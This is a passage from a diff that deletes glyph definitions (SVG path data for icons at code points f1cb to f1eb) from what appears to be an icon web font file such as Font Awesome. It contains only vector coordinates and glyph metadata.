-q-142 72 -223 220t-81 333q0 192 104 314.5t284 122.5q178 0 273 -105.5t95 -297.5q0 -159 -58 -286q-7 -1 -19.5 -3t-46 -2t-63 6t-62 25.5t-50.5 51.5q31 103 31 184q0 87 -29 132t-79 45q-53 0 -85 -49.5t-32 -140.5q0 -186 105 -293.5t267 -107.5q62 0 121 14z" />
-    <glyph glyph-name="_431" unicode="&#xf1cb;" horiz-adv-x="1792" 
-d="M216 367l603 -402v359l-334 223zM154 511l193 129l-193 129v-258zM973 -35l603 402l-269 180l-334 -223v-359zM896 458l272 182l-272 182l-272 -182zM485 733l334 223v359l-603 -402zM1445 640l193 -129v258zM1307 733l269 180l-603 402v-359zM1792 913v-546
-q0 -41 -34 -64l-819 -546q-21 -13 -43 -13t-43 13l-819 546q-34 23 -34 64v546q0 41 34 64l819 546q21 13 43 13t43 -13l819 -546q34 -23 34 -64z" />
-    <glyph glyph-name="_432" unicode="&#xf1cc;" horiz-adv-x="2048" 
-d="M1800 764q111 -46 179.5 -145.5t68.5 -221.5q0 -164 -118 -280.5t-285 -116.5q-4 0 -11.5 0.5t-10.5 0.5h-1209h-1h-2h-5q-170 10 -288 125.5t-118 280.5q0 110 55 203t147 147q-12 39 -12 82q0 115 82 196t199 81q95 0 172 -58q75 154 222.5 248t326.5 94
-q166 0 306 -80.5t221.5 -218.5t81.5 -301q0 -6 -0.5 -18t-0.5 -18zM468 498q0 -122 84 -193t208 -71q137 0 240 99q-16 20 -47.5 56.5t-43.5 50.5q-67 -65 -144 -65q-55 0 -93.5 33.5t-38.5 87.5q0 53 38.5 87t91.5 34q44 0 84.5 -21t73 -55t65 -75t69 -82t77 -75t97 -55
-t121.5 -21q121 0 204.5 71.5t83.5 190.5q0 121 -84 192t-207 71q-143 0 -241 -97l93 -108q66 64 142 64q52 0 92 -33t40 -84q0 -57 -37 -91.5t-94 -34.5q-43 0 -82.5 21t-72 55t-65.5 75t-69.5 82t-77.5 75t-96.5 55t-118.5 21q-122 0 -207 -70.5t-85 -189.5z" />
-    <glyph glyph-name="_433" unicode="&#xf1cd;" horiz-adv-x="1792" 
-d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 1408q-190 0 -361 -90l194 -194q82 28 167 28t167 -28l194 194q-171 90 -361 90zM218 279l194 194
-q-28 82 -28 167t28 167l-194 194q-90 -171 -90 -361t90 -361zM896 -128q190 0 361 90l-194 194q-82 -28 -167 -28t-167 28l-194 -194q171 -90 361 -90zM896 256q159 0 271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5
-t271.5 -112.5zM1380 473l194 -194q90 171 90 361t-90 361l-194 -194q28 -82 28 -167t-28 -167z" />
-    <glyph glyph-name="_434" unicode="&#xf1ce;" horiz-adv-x="1792" 
-d="M1760 640q0 -176 -68.5 -336t-184 -275.5t-275.5 -184t-336 -68.5t-336 68.5t-275.5 184t-184 275.5t-68.5 336q0 213 97 398.5t265 305.5t374 151v-228q-221 -45 -366.5 -221t-145.5 -406q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5
-t136.5 204t51 248.5q0 230 -145.5 406t-366.5 221v228q206 -31 374 -151t265 -305.5t97 -398.5z" />
-    <glyph glyph-name="uniF1D0" unicode="&#xf1d0;" horiz-adv-x="1792" 
-d="M19 662q8 217 116 406t305 318h5q0 -1 -1 -3q-8 -8 -28 -33.5t-52 -76.5t-60 -110.5t-44.5 -135.5t-14 -150.5t39 -157.5t108.5 -154q50 -50 102 -69.5t90.5 -11.5t69.5 23.5t47 32.5l16 16q39 51 53 116.5t6.5 122.5t-21 107t-26.5 80l-14 29q-10 25 -30.5 49.5t-43 41
-t-43.5 29.5t-35 19l-13 6l104 115q39 -17 78 -52t59 -61l19 -27q1 48 -18.5 103.5t-40.5 87.5l-20 31l161 183l160 -181q-33 -46 -52.5 -102.5t-22.5 -90.5l-4 -33q22 37 61.5 72.5t67.5 52.5l28 17l103 -115q-44 -14 -85 -50t-60 -65l-19 -29q-31 -56 -48 -133.5t-7 -170
-t57 -156.5q33 -45 77.5 -60.5t85 -5.5t76 26.5t57.5 33.5l21 16q60 53 96.5 115t48.5 121.5t10 121.5t-18 118t-37 107.5t-45.5 93t-45 72t-34.5 47.5l-13 17q-14 13 -7 13l10 -3q40 -29 62.5 -46t62 -50t64 -58t58.5 -65t55.5 -77t45.5 -88t38 -103t23.5 -117t10.5 -136
-q3 -259 -108 -465t-312 -321t-456 -115q-185 0 -351 74t-283.5 198t-184 293t-60.5 353z" />
-    <glyph glyph-name="uniF1D1" unicode="&#xf1d1;" horiz-adv-x="1792" 
-d="M874 -102v-66q-208 6 -385 109.5t-283 275.5l58 34q29 -49 73 -99l65 57q148 -168 368 -212l-17 -86q65 -12 121 -13zM276 428l-83 -28q22 -60 49 -112l-57 -33q-98 180 -98 385t98 385l57 -33q-30 -56 -49 -112l82 -28q-35 -100 -35 -212q0 -109 36 -212zM1528 251
-l58 -34q-106 -172 -283 -275.5t-385 -109.5v66q56 1 121 13l-17 86q220 44 368 212l65 -57q44 50 73 99zM1377 805l-233 -80q14 -42 14 -85t-14 -85l232 -80q-31 -92 -98 -169l-185 162q-57 -67 -147 -85l48 -241q-52 -10 -98 -10t-98 10l48 241q-90 18 -147 85l-185 -162
-q-67 77 -98 169l232 80q-14 42 -14 85t14 85l-233 80q33 93 99 169l185 -162q59 68 147 86l-48 240q44 10 98 10t98 -10l-48 -240q88 -18 147 -86l185 162q66 -76 99 -169zM874 1448v-66q-65 -2 -121 -13l17 -86q-220 -42 -368 -211l-65 56q-38 -42 -73 -98l-57 33
-q106 172 282 275.5t385 109.5zM1705 640q0 -205 -98 -385l-57 33q27 52 49 112l-83 28q36 103 36 212q0 112 -35 212l82 28q-19 56 -49 112l57 33q98 -180 98 -385zM1585 1063l-57 -33q-35 56 -73 98l-65 -56q-148 169 -368 211l17 86q-56 11 -121 13v66q209 -6 385 -109.5
-t282 -275.5zM1748 640q0 173 -67.5 331t-181.5 272t-272 181.5t-331 67.5t-331 -67.5t-272 -181.5t-181.5 -272t-67.5 -331t67.5 -331t181.5 -272t272 -181.5t331 -67.5t331 67.5t272 181.5t181.5 272t67.5 331zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71
-t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
-    <glyph glyph-name="uniF1D2" unicode="&#xf1d2;" 
-d="M582 228q0 -66 -93 -66q-107 0 -107 63q0 64 98 64q102 0 102 -61zM546 694q0 -85 -74 -85q-77 0 -77 84q0 90 77 90q36 0 55 -25.5t19 -63.5zM712 769v125q-78 -29 -135 -29q-50 29 -110 29q-86 0 -145 -57t-59 -143q0 -50 29.5 -102t73.5 -67v-3q-38 -17 -38 -85
-q0 -53 41 -77v-3q-113 -37 -113 -139q0 -45 20 -78.5t54 -51t72 -25.5t81 -8q224 0 224 188q0 67 -48 99t-126 46q-27 5 -51.5 20.5t-24.5 39.5q0 44 49 52q77 15 122 70t45 134q0 24 -10 52q37 9 49 13zM771 350h137q-2 27 -2 82v387q0 46 2 69h-137q3 -23 3 -71v-392
-q0 -50 -3 -75zM1280 366v121q-30 -21 -68 -21q-53 0 -53 82v225h52q9 0 26.5 -1t26.5 -1v117h-105q0 82 3 102h-140q4 -24 4 -55v-47h-60v-117q36 3 37 3q3 0 11 -0.5t12 -0.5v-2h-2v-217q0 -37 2.5 -64t11.5 -56.5t24.5 -48.5t43.5 -31t66 -12q64 0 108 24zM924 1072
-q0 36 -24 63.5t-60 27.5t-60.5 -27t-24.5 -64q0 -36 25 -62.5t60 -26.5t59.5 27t24.5 62zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="_438" unicode="&#xf1d3;" horiz-adv-x="1792" 
-d="M595 22q0 100 -165 100q-158 0 -158 -104q0 -101 172 -101q151 0 151 105zM536 777q0 61 -30 102t-89 41q-124 0 -124 -145q0 -135 124 -135q119 0 119 137zM805 1101v-202q-36 -12 -79 -22q16 -43 16 -84q0 -127 -73 -216.5t-197 -112.5q-40 -8 -59.5 -27t-19.5 -58
-q0 -31 22.5 -51.5t58 -32t78.5 -22t86 -25.5t78.5 -37.5t58 -64t22.5 -98.5q0 -304 -363 -304q-69 0 -130 12.5t-116 41t-87.5 82t-32.5 127.5q0 165 182 225v4q-67 41 -67 126q0 109 63 137v4q-72 24 -119.5 108.5t-47.5 165.5q0 139 95 231.5t235 92.5q96 0 178 -47
-q98 0 218 47zM1123 220h-222q4 45 4 134v609q0 94 -4 128h222q-4 -33 -4 -124v-613q0 -89 4 -134zM1724 442v-196q-71 -39 -174 -39q-62 0 -107 20t-70 50t-39.5 78t-18.5 92t-4 103v351h2v4q-7 0 -19 1t-18 1q-21 0 -59 -6v190h96v76q0 54 -6 89h227q-6 -41 -6 -165h171
-v-190q-15 0 -43.5 2t-42.5 2h-85v-365q0 -131 87 -131q61 0 109 33zM1148 1389q0 -58 -39 -101.5t-96 -43.5q-58 0 -98 43.5t-40 101.5q0 59 39.5 103t98.5 44q58 0 96.5 -44.5t38.5 -102.5z" />
-    <glyph glyph-name="_439" unicode="&#xf1d4;" 
-d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="uniF1D5" unicode="&#xf1d5;" horiz-adv-x="1280" 
-d="M842 964q0 -80 -57 -136.5t-136 -56.5q-60 0 -111 35q-62 -67 -115 -146q-247 -371 -202 -859q1 -22 -12.5 -38.5t-34.5 -18.5h-5q-20 0 -35 13.5t-17 33.5q-14 126 -3.5 247.5t29.5 217t54 186t69 155.5t74 125q61 90 132 165q-16 35 -16 77q0 80 56.5 136.5t136.5 56.5
-t136.5 -56.5t56.5 -136.5zM1223 953q0 -158 -78 -292t-212.5 -212t-292.5 -78q-64 0 -131 14q-21 5 -32.5 23.5t-6.5 39.5q5 20 23 31.5t39 7.5q51 -13 108 -13q97 0 186 38t153 102t102 153t38 186t-38 186t-102 153t-153 102t-186 38t-186 -38t-153 -102t-102 -153
-t-38 -186q0 -114 52 -218q10 -20 3.5 -40t-25.5 -30t-39.5 -3t-30.5 26q-64 123 -64 265q0 119 46.5 227t124.5 186t186 124t226 46q158 0 292.5 -78t212.5 -212.5t78 -292.5z" />
-    <glyph glyph-name="uniF1D6" unicode="&#xf1d6;" horiz-adv-x="1792" 
-d="M270 730q-8 19 -8 52q0 20 11 49t24 45q-1 22 7.5 53t22.5 43q0 139 92.5 288.5t217.5 209.5q139 66 324 66q133 0 266 -55q49 -21 90 -48t71 -56t55 -68t42 -74t32.5 -84.5t25.5 -89.5t22 -98l1 -5q55 -83 55 -150q0 -14 -9 -40t-9 -38q0 -1 1.5 -3.5t3.5 -5t2 -3.5
-q77 -114 120.5 -214.5t43.5 -208.5q0 -43 -19.5 -100t-55.5 -57q-9 0 -19.5 7.5t-19 17.5t-19 26t-16 26.5t-13.5 26t-9 17.5q-1 1 -3 1l-5 -4q-59 -154 -132 -223q20 -20 61.5 -38.5t69 -41.5t35.5 -65q-2 -4 -4 -16t-7 -18q-64 -97 -302 -97q-53 0 -110.5 9t-98 20
-t-104.5 30q-15 5 -23 7q-14 4 -46 4.5t-40 1.5q-41 -45 -127.5 -65t-168.5 -20q-35 0 -69 1.5t-93 9t-101 20.5t-74.5 40t-32.5 64q0 40 10 59.5t41 48.5q11 2 40.5 13t49.5 12q4 0 14 2q2 2 2 4l-2 3q-48 11 -108 105.5t-73 156.5l-5 3q-4 0 -12 -20q-18 -41 -54.5 -74.5
-t-77.5 -37.5h-1q-4 0 -6 4.5t-5 5.5q-23 54 -23 100q0 275 252 466z" />
-    <glyph glyph-name="uniF1D7" unicode="&#xf1d7;" horiz-adv-x="2048" 
-d="M580 1075q0 41 -25 66t-66 25q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 66 24.5t25 65.5zM1323 568q0 28 -25.5 50t-65.5 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q40 0 65.5 22t25.5 51zM1087 1075q0 41 -24.5 66t-65.5 25
-q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 65.5 24.5t24.5 65.5zM1722 568q0 28 -26 50t-65 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q39 0 65 22t26 51zM1456 965q-31 4 -70 4q-169 0 -311 -77t-223.5 -208.5t-81.5 -287.5
-q0 -78 23 -152q-35 -3 -68 -3q-26 0 -50 1.5t-55 6.5t-44.5 7t-54.5 10.5t-50 10.5l-253 -127l72 218q-290 203 -290 490q0 169 97.5 311t264 223.5t363.5 81.5q176 0 332.5 -66t262 -182.5t136.5 -260.5zM2048 404q0 -117 -68.5 -223.5t-185.5 -193.5l55 -181l-199 109
-q-150 -37 -218 -37q-169 0 -311 70.5t-223.5 191.5t-81.5 264t81.5 264t223.5 191.5t311 70.5q161 0 303 -70.5t227.5 -192t85.5 -263.5z" />
-    <glyph glyph-name="_443" unicode="&#xf1d8;" horiz-adv-x="1792" 
-d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-453 185l-242 -295q-18 -23 -49 -23q-13 0 -22 4q-19 7 -30.5 23.5t-11.5 36.5v349l864 1059l-1069 -925l-395 162q-37 14 -40 55q-2 40 32 59l1664 960q15 9 32 9q20 0 36 -11z" />
-    <glyph glyph-name="_444" unicode="&#xf1d9;" horiz-adv-x="1792" 
-d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-527 215l-298 -327q-18 -21 -47 -21q-14 0 -23 4q-19 7 -30 23.5t-11 36.5v452l-472 193q-37 14 -40 55q-3 39 32 59l1664 960q35 21 68 -2zM1422 26l221 1323l-1434 -827l336 -137
-l863 639l-478 -797z" />
-    <glyph glyph-name="_445" unicode="&#xf1da;" 
-d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5
-t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298zM896 928v-448q0 -14 -9 -23
-t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="_446" unicode="&#xf1db;" 
-d="M768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
-t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="_447" unicode="&#xf1dc;" horiz-adv-x="1792" 
-d="M1682 -128q-44 0 -132.5 3.5t-133.5 3.5q-44 0 -132 -3.5t-132 -3.5q-24 0 -37 20.5t-13 45.5q0 31 17 46t39 17t51 7t45 15q33 21 33 140l-1 391q0 21 -1 31q-13 4 -50 4h-675q-38 0 -51 -4q-1 -10 -1 -31l-1 -371q0 -142 37 -164q16 -10 48 -13t57 -3.5t45 -15
-t20 -45.5q0 -26 -12.5 -48t-36.5 -22q-47 0 -139.5 3.5t-138.5 3.5q-43 0 -128 -3.5t-127 -3.5q-23 0 -35.5 21t-12.5 45q0 30 15.5 45t36 17.5t47.5 7.5t42 15q33 23 33 143l-1 57v813q0 3 0.5 26t0 36.5t-1.5 38.5t-3.5 42t-6.5 36.5t-11 31.5t-16 18q-15 10 -45 12t-53 2
-t-41 14t-18 45q0 26 12 48t36 22q46 0 138.5 -3.5t138.5 -3.5q42 0 126.5 3.5t126.5 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17 -43.5t-38.5 -14.5t-49.5 -4t-43 -13q-35 -21 -35 -160l1 -320q0 -21 1 -32q13 -3 39 -3h699q25 0 38 3q1 11 1 32l1 320q0 139 -35 160
-q-18 11 -58.5 12.5t-66 13t-25.5 49.5q0 26 12.5 48t37.5 22q44 0 132 -3.5t132 -3.5q43 0 129 3.5t129 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17.5 -44t-40 -14.5t-51.5 -3t-44 -12.5q-35 -23 -35 -161l1 -943q0 -119 34 -140q16 -10 46 -13.5t53.5 -4.5t41.5 -15.5t18 -44.5
-q0 -26 -12 -48t-36 -22z" />
-    <glyph glyph-name="_448" unicode="&#xf1dd;" horiz-adv-x="1280" 
-d="M1278 1347v-73q0 -29 -18.5 -61t-42.5 -32q-50 0 -54 -1q-26 -6 -32 -31q-3 -11 -3 -64v-1152q0 -25 -18 -43t-43 -18h-108q-25 0 -43 18t-18 43v1218h-143v-1218q0 -25 -17.5 -43t-43.5 -18h-108q-26 0 -43.5 18t-17.5 43v496q-147 12 -245 59q-126 58 -192 179
-q-64 117 -64 259q0 166 88 286q88 118 209 159q111 37 417 37h479q25 0 43 -18t18 -43z" />
-    <glyph glyph-name="_449" unicode="&#xf1de;" 
-d="M352 128v-128h-352v128h352zM704 256q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM864 640v-128h-864v128h864zM224 1152v-128h-224v128h224zM1536 128v-128h-736v128h736zM576 1280q26 0 45 -19t19 -45v-256
-q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1216 768q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1536 640v-128h-224v128h224zM1536 1152v-128h-864v128h864z" />
-    <glyph glyph-name="uniF1E0" unicode="&#xf1e0;" 
-d="M1216 512q133 0 226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5t-226.5 93.5t-93.5 226.5q0 12 2 34l-360 180q-92 -86 -218 -86q-133 0 -226.5 93.5t-93.5 226.5t93.5 226.5t226.5 93.5q126 0 218 -86l360 180q-2 22 -2 34q0 133 93.5 226.5t226.5 93.5
-t226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5q-126 0 -218 86l-360 -180q2 -22 2 -34t-2 -34l360 -180q92 86 218 86z" />
-    <glyph glyph-name="_451" unicode="&#xf1e1;" 
-d="M1280 341q0 88 -62.5 151t-150.5 63q-84 0 -145 -58l-241 120q2 16 2 23t-2 23l241 120q61 -58 145 -58q88 0 150.5 63t62.5 151t-62.5 150.5t-150.5 62.5t-151 -62.5t-63 -150.5q0 -7 2 -23l-241 -120q-62 57 -145 57q-88 0 -150.5 -62.5t-62.5 -150.5t62.5 -150.5
-t150.5 -62.5q83 0 145 57l241 -120q-2 -16 -2 -23q0 -88 63 -150.5t151 -62.5t150.5 62.5t62.5 150.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="_452" unicode="&#xf1e2;" horiz-adv-x="1792" 
-d="M571 947q-10 25 -34 35t-49 0q-108 -44 -191 -127t-127 -191q-10 -25 0 -49t35 -34q13 -5 24 -5q42 0 60 40q34 84 98.5 148.5t148.5 98.5q25 11 35 35t0 49zM1513 1303l46 -46l-244 -243l68 -68q19 -19 19 -45.5t-19 -45.5l-64 -64q89 -161 89 -343q0 -143 -55.5 -273.5
-t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5q182 0 343 -89l64 64q19 19 45.5 19t45.5 -19l68 -68zM1521 1359q-10 -10 -22 -10q-13 0 -23 10l-91 90q-9 10 -9 23t9 23q10 9 23 9t23 -9l90 -91
-q10 -9 10 -22.5t-10 -22.5zM1751 1129q-11 -9 -23 -9t-23 9l-90 91q-10 9 -10 22.5t10 22.5q9 10 22.5 10t22.5 -10l91 -90q9 -10 9 -23t-9 -23zM1792 1312q0 -14 -9 -23t-23 -9h-96q-14 0 -23 9t-9 23t9 23t23 9h96q14 0 23 -9t9 -23zM1600 1504v-96q0 -14 -9 -23t-23 -9
-t-23 9t-9 23v96q0 14 9 23t23 9t23 -9t9 -23zM1751 1449l-91 -90q-10 -10 -22 -10q-13 0 -23 10q-10 9 -10 22.5t10 22.5l90 91q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
-    <glyph glyph-name="_453" unicode="&#xf1e3;" horiz-adv-x="1792" 
-d="M609 720l287 208l287 -208l-109 -336h-355zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM1515 186q149 203 149 454v3l-102 -89l-240 224l63 323
-l134 -12q-150 206 -389 282l53 -124l-287 -159l-287 159l53 124q-239 -76 -389 -282l135 12l62 -323l-240 -224l-102 89v-3q0 -251 149 -454l30 132l326 -40l139 -298l-116 -69q117 -39 240 -39t240 39l-116 69l139 298l326 40z" />
-    <glyph glyph-name="_454" unicode="&#xf1e4;" horiz-adv-x="1792" 
-d="M448 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM256 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM832 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23
-v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM66 768q-28 0 -47 19t-19 46v129h514v-129q0 -27 -19 -46t-46 -19h-383zM1216 224v-192q0 -14 -9 -23t-23 -9h-192
-q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1600 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23
-zM1408 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1016v-13h-514v10q0 104 -382 102q-382 -1 -382 -102v-10h-514v13q0 17 8.5 43t34 64t65.5 75.5t110.5 76t160 67.5t224 47.5t293.5 18.5t293 -18.5t224 -47.5
-t160.5 -67.5t110.5 -76t65.5 -75.5t34 -64t8.5 -43zM1792 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 962v-129q0 -27 -19 -46t-46 -19h-384q-27 0 -46 19t-19 46v129h514z" />
-    <glyph glyph-name="_455" unicode="&#xf1e5;" horiz-adv-x="1792" 
-d="M704 1216v-768q0 -26 -19 -45t-45 -19v-576q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v512l249 873q7 23 31 23h424zM1024 1216v-704h-256v704h256zM1792 320v-512q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v576q-26 0 -45 19t-19 45v768h424q24 0 31 -23z
-M736 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23zM1408 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="_456" unicode="&#xf1e6;" horiz-adv-x="1792" 
-d="M1755 1083q37 -38 37 -90.5t-37 -90.5l-401 -400l150 -150l-160 -160q-163 -163 -389.5 -186.5t-411.5 100.5l-362 -362h-181v181l362 362q-124 185 -100.5 411.5t186.5 389.5l160 160l150 -150l400 401q38 37 91 37t90 -37t37 -90.5t-37 -90.5l-400 -401l234 -234
-l401 400q38 37 91 37t90 -37z" />
-    <glyph glyph-name="_457" unicode="&#xf1e7;" horiz-adv-x="1792" 
-d="M873 796q0 -83 -63.5 -142.5t-152.5 -59.5t-152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59t152.5 -59t63.5 -143zM1375 796q0 -83 -63 -142.5t-153 -59.5q-89 0 -152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59q90 0 153 -59t63 -143zM1600 616v667q0 87 -32 123.5
-t-111 36.5h-1112q-83 0 -112.5 -34t-29.5 -126v-673q43 -23 88.5 -40t81 -28t81 -18.5t71 -11t70 -4t58.5 -0.5t56.5 2t44.5 2q68 1 95 -27q6 -6 10 -9q26 -25 61 -51q7 91 118 87q5 0 36.5 -1.5t43 -2t45.5 -1t53 1t54.5 4.5t61 8.5t62 13.5t67 19.5t67.5 27t72 34.5z
-M1763 621q-121 -149 -372 -252q84 -285 -23 -465q-66 -113 -183 -148q-104 -32 -182 15q-86 51 -82 164l-1 326v1q-8 2 -24.5 6t-23.5 5l-1 -338q4 -114 -83 -164q-79 -47 -183 -15q-117 36 -182 150q-105 180 -22 463q-251 103 -372 252q-25 37 -4 63t60 -1q4 -2 11.5 -7
-t10.5 -8v694q0 72 47 123t114 51h1257q67 0 114 -51t47 -123v-694l21 15q39 27 60 1t-4 -63z" />
-    <glyph glyph-name="_458" unicode="&#xf1e8;" horiz-adv-x="1792" 
-d="M896 1102v-434h-145v434h145zM1294 1102v-434h-145v434h145zM1294 342l253 254v795h-1194v-1049h326v-217l217 217h398zM1692 1536v-1013l-434 -434h-326l-217 -217h-217v217h-398v1158l109 289h1483z" />
-    <glyph glyph-name="_459" unicode="&#xf1e9;" 
-d="M773 217v-127q-1 -292 -6 -305q-12 -32 -51 -40q-54 -9 -181.5 38t-162.5 89q-13 15 -17 36q-1 12 4 26q4 10 34 47t181 216q1 0 60 70q15 19 39.5 24.5t49.5 -3.5q24 -10 37.5 -29t12.5 -42zM624 468q-3 -55 -52 -70l-120 -39q-275 -88 -292 -88q-35 2 -54 36
-q-12 25 -17 75q-8 76 1 166.5t30 124.5t56 32q13 0 202 -77q71 -29 115 -47l84 -34q23 -9 35.5 -30.5t11.5 -48.5zM1450 171q-7 -54 -91.5 -161t-135.5 -127q-37 -14 -63 7q-14 10 -184 287l-47 77q-14 21 -11.5 46t19.5 46q35 43 83 26q1 -1 119 -40q203 -66 242 -79.5
-t47 -20.5q28 -22 22 -61zM778 803q5 -102 -54 -122q-58 -17 -114 71l-378 598q-8 35 19 62q41 43 207.5 89.5t224.5 31.5q40 -10 49 -45q3 -18 22 -305.5t24 -379.5zM1440 695q3 -39 -26 -59q-15 -10 -329 -86q-67 -15 -91 -23l1 2q-23 -6 -46 4t-37 32q-30 47 0 87
-q1 1 75 102q125 171 150 204t34 39q28 19 65 2q48 -23 123 -133.5t81 -167.5v-3z" />
-    <glyph glyph-name="_460" unicode="&#xf1ea;" horiz-adv-x="2048" 
-d="M1024 1024h-384v-384h384v384zM1152 384v-128h-640v128h640zM1152 1152v-640h-640v640h640zM1792 384v-128h-512v128h512zM1792 640v-128h-512v128h512zM1792 896v-128h-512v128h512zM1792 1152v-128h-512v128h512zM256 192v960h-128v-960q0 -26 19 -45t45 -19t45 19
-t19 45zM1920 192v1088h-1536v-1088q0 -33 -11 -64h1483q26 0 45 19t19 45zM2048 1408v-1216q0 -80 -56 -136t-136 -56h-1664q-80 0 -136 56t-56 136v1088h256v128h1792z" />
-    <glyph glyph-name="_461" unicode="&#xf1eb;" horiz-adv-x="2048" 
-d="M1024 13q-20 0 -93 73.5t-73 93.5q0 32 62.5 54t103.5 22t103.5 -22t62.5 -54q0 -20 -73 -93.5t-93 -73.5zM1294 284q-2 0 -40 25t-101.5 50t-128.5 25t-128.5 -25t-101 -50t-40.5 -25q-18 0 -93.5 75t-75.5 93q0 13 10 23q78 77 196 121t233 44t233 -44t196 -121
-q10 -10 10 -23q0 -18 -75.5 -93t-93.5 -75zM1567 556q-11 0 -23 8q-136 105 -252 154.5t-268 49.5q-85 0 -170.5 -22t-149 -53t-113.5 -62t-79 -53t-31 -22q-17 0 -92 75t-75 93q0 12 10 22q132 132 320 205t380 73t380 -73t320 -205q10 -10 10 -22q0 -18 -75 -93t-92 -75z
